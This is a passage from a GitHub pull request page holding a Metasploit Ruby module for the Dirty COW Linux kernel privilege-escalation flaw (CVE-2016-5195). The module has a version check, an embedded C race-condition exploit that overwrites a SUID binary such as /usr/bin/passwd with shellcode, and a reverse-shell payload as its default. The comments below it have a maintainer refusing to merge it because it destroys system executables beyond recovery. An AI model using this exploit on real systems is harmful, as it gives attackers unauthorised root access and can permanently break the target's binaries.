          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails'],
          ['URL', 'https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs'],
          ['URL', 'https://access.redhat.com/security/cve/cve-2016-5195'],
          ['URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619']
        ],
      'Targets'        =>
        [
          [ 'Linux x86', { 'Arch' => ARCH_X86 }],
          [ 'Linux x64', { 'Arch' => ARCH_X64 }]
        ],
      'DefaultOptions' =>
        {
          'AppendExit'       => true,
          'PrependSetresuid' => true,
          'PrependSetresgid' => true,
          'PrependSetreuid'  => true,
          'PrependSetuid'    => true,
          'PrependFork'      => true,
          'PAYLOAD'          => 'linux/x86/shell_reverse_tcp'
        },
      'DisclosureDate' => 'Oct 19 2016',
      'DefaultTarget'  => 0))

    register_options([
      OptString.new('SUID_EXECUTABLE', [true, 'Path to a SUID executable', '/usr/bin/passwd'])
    ])
    register_advanced_options([
      OptString.new('WritableDir', [true, "A directory where we can write files (must not be mounted noexec)", '/tmp'])
    ])
  end

  def base_dir
    datastore['WritableDir']
  end

  def suid_exe_path
    datastore['SUID_EXECUTABLE']
  end

  def upload(path, data)
    print_status "Writing '#{path}' (#{data.size} bytes) ..."
    rm_f path
    write_file path, data
    register_file_for_cleanup path
  end

  def strip_comments(c_code)
    c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
  end

  def upload_and_compile(path, data, gcc_args='')
    upload "#{path}.c", data

    gcc_cmd = "gcc -o #{path} #{path}.c"
    if session.type.eql? 'shell'
      gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
    end

    unless gcc_args.to_s.blank?
      gcc_cmd << " #{gcc_args}"
    end

    output = cmd_exec gcc_cmd

    unless output.blank?
      # Uncomment this when the exploit code doesn't throw a bunch of warnings
      #fail_with Failure::Unknown, "#{path}.c failed to compile"
      # Until then:
      print_error 'Compiling failed:'
      print_line output
    end

    register_file_for_cleanup path
    chmod path
  end

  def check
    if selinux_installed?
      if selinux_enforcing?
        vprint_error 'SELinux is enforcing'
        return CheckCode::Safe
      end
      vprint_good 'SELinux is permissive'
    else
      vprint_good 'SELinux is not installed'
    end

    version = Gem::Version.new kernel_release.split('-').first

    if version.to_s.eql? ''
      vprint_error 'Could not determine the kernel version'
      return CheckCode::Unknown
    end

    unless version >= Gem::Version.new('2.6.22') && version < Gem::Version.new('4.8.3')
      vprint_error "Kernel version #{version} is not vulnerable"
      return CheckCode::Safe
    end

    # This could use some improvement for 4.x kernel release parsing...
    if (version <= Gem::Version.new('4.4.26')) ||
       (version >= Gem::Version.new('4.7') && version < Gem::Version.new('4.7.9')) ||
       (version >= Gem::Version.new('4.8') && version < Gem::Version.new('4.8.3'))
      vprint_good "Kernel version #{version} appears to be vulnerable"
      return CheckCode::Appears
    end

    vprint_error "Kernel version #{version} may or may not be vulnerable"
    CheckCode::Unknown
  end

  def on_new_session(session)
    print_status "Setting '/proc/sys/vm/dirty_writeback_centisecs' to '0'..."
    if session.type.to_s.eql? 'meterpreter'
      session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
      session.sys.process.execute '/bin/sh', '-c "echo 0 > /proc/sys/vm/dirty_writeback_centisecs"'
    elsif session.type.to_s.eql? 'shell'
      session.shell_command_token 'echo 0 > /proc/sys/vm/dirty_writeback_centisecs'
    end
  ensure
    super
  end

  def exploit
    if check == CheckCode::Safe
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless setuid? suid_exe_path
      fail_with Failure::BadConfig, "#{suid_exe_path} is not setuid"
    end

    unless cmd_exec("test -r #{suid_exe_path} && echo true").to_s.include? 'true'
      fail_with Failure::BadConfig, "#{suid_exe_path} is not readable"
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    main = %q^
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1, pth2, pth3;

char suid_binary[] = "SUID_EXECUTABLE";

SHELLCODE

unsigned int shellcode_size = 0;


void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i, c=0;
  for(i=0; i<1000000 && !stop; i++) {
    c += madvise(map,100,MADV_DONTNEED);
  }
  printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
  char *str;
  str = (char*)arg;
  int f=open("/proc/self/mem",O_RDWR);
  int i, c=0;
  for(i=0; i<1000000 && !stop; i++) {
    lseek(f, map, SEEK_SET);
    c += write(f, str, shellcode_size);
  }
  printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
  char buf[shellcode_size];

  for(;;) {
    FILE *fp = fopen(suid_binary, "rb");

    fread(buf, shellcode_size, 1, fp);

    if(memcmp(buf, shellcode, shellcode_size) == 0) {
      printf("%s overwritten\n", suid_binary);
      break;
    }

    fclose(fp);
    sleep(1);
  }

  stop = 1;
  system(suid_binary);
}

int main(int argc, char *argv[]) {
  char *backup;

  asprintf(&backup, "cp %s /tmp/bak", suid_binary);
  system(backup);

  f = open(suid_binary,O_RDONLY);
  fstat(f,&st);

  char payload[st.st_size];
  memset(payload, 0x90, st.st_size);
  memcpy(payload, shellcode, shellcode_size+1);

  map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

  pthread_create(&pth1, NULL, &madviseThread, suid_binary);
  pthread_create(&pth2, NULL, &procselfmemThread, payload);
  pthread_create(&pth3, NULL, &waitForWrite, NULL);

  pthread_join(pth3, NULL);

  return 0;
}
^

    payload_file = generate_payload_exe
    exploit_path = "#{base_dir}/.#{Rex::Text.rand_text_alpha 8..12}"
    backup_path = "#{base_dir}/.#{Rex::Text.rand_text_alpha 8..12}"

    main.gsub!('SUID_EXECUTABLE', suid_exe_path)
    main.gsub!('/tmp/bak', backup_path)
    main.gsub!('SHELLCODE') do
      # Split the payload into chunks and dump it out as a hex-escaped
      # literal C string.
      Rex::Text.to_c payload_file, 64, 'shellcode'
    end
    main.gsub!('shellcode_size = 0', "shellcode_size = #{payload_file.length}")

    upload_and_compile exploit_path, strip_comments(main), '-pthread'

    print_status 'Launching exploit...'
    cmd_exec "#{exploit_path} & echo "
  end
end
e5c04c67061b3bce56b5aac8f17cd012  modules/exploits/linux/local/dirtycow_priv_esc.rb

@timwr
Copy link
Contributor

timwr commented Dec 22, 2018

Nice work. Do you feel like opening a new pull request? I can help test and land

@bcoles
Copy link
Contributor

bcoles commented Dec 22, 2018

@timwr No thanks.

Vaporizing system executables with no option of recovery is lame and unacceptable.

The above exploit exists for anyone who wants to take the risk and knows how to copy/paste. This PR thread is also linked from the Dirtycow PoCs page so people can find it.

@bcoles bcoles added attic Older submissions that we still want to work on again and removed blocked Blocked by one or more additional tasks labels Dec 27, 2019
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
attic Older submissions that we still want to work on again feature module
Projects
None yet
Development

Successfully merging this pull request may close these issues.